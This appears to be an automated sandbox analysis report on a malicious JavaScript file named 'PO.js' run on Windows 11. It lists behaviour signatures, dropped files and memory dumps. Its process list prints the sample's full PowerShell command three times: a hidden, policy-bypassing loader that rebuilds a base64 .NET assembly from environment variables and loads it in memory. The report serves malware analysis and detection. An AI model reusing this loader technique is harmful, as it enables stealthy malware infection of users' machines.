Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/09/2026, 18:06

General

  • Target
    PO.js
  • Size 38.7MB
  • Sample260909-wp4ckadc49
  • SHA256 afc97f23f9958ee4d35eec1b3716768a9a5d046725b77530b53f8713ec31509e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\PO.js
    1⤵
    • Creates a file in the Startup directory
    • Modifies registry class
    PID:1680
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5288
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1432
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[praia.casa]::trailer('0eb+H3hI8ZQQ2WV2kvsqG28AKl0CukOpJmmxlTSzofxuPXrtT2JdK1zolnUuai+Z','','3kRdG/TgBqDGLTuP39OY8VUD7onh6oSHRiVnRt6RksD6CTTcVTJ/aTfhIC+OaYgZ','ZIOhqykIWJBVdykOm9d3WxPXwu0/WtNpatmZIKr9XXw=','VkQPO4jWKGOfMQiaMbnDsKAtWfZ/AtWIeE7eZjR9Pyg=','KvrpFgrFLp1Wy4IFvQMkZkFGWT9NWA3m/BIePFft2r4=','AFQXA5Vn6LDt99BJnuMQWnUJtJ2YeCJbbXmfruDABEo=','','r2R7E6gwA09gMY3mIwdhi9wRM+aQ3d4PVO4maPAGbrw8nq+qepLhr6Q97E4HvzMR','WIymjauM9a9GWfKrGY3GnNn/ixsl5E88j9MIjzy7ap+XS5+cwXW6V/qrhM/fGhyG','ccrfH568yri09Vqzbxu9OrV67gF07Ri9Vf5VI5jL2uI=','mP5zcYTszv6SoPcE1BEwUE4Zjzb4DrVvheH7hmmgRaY=','Jp2rK4XWNT0XXdI7TbTHvWWiEctKD6CTy1EKrFwq6FY=','','7WiEd5k9gExOSLwRzqUWOPY8LzyoQ6BVBsP0VV+IzdY=','fYDRZPCc/tg+chpWPtTlmGJzcxT2ykKd/gJu+R0Ys+8=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1460

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 aa50207b514c57cc98aa23aec10f7d95033108a669754586b0f4aefcd1128362
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_ynkow4vm.mc3.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynkow4vm.mc3.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5288-10-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-12-0x000001DFE3030000-0x000001DFE3102000-memory.dmp

        memory/5288-7-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-8-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-9-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-0-0x00007FF84476F000-0x00007FF844770000-memory.dmp

        memory/5288-11-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-6-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-14-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-13-0x000001DFE3100000-0x000001DFE310A000-memory.dmp

        memory/5288-15-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-17-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-5-0x000001DFE4D60000-0x000001DFE4D82000-memory.dmp

        memory/5288-2-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp

        memory/5288-1-0x00007FF8445E0000-0x00007FF844F84000-memory.dmp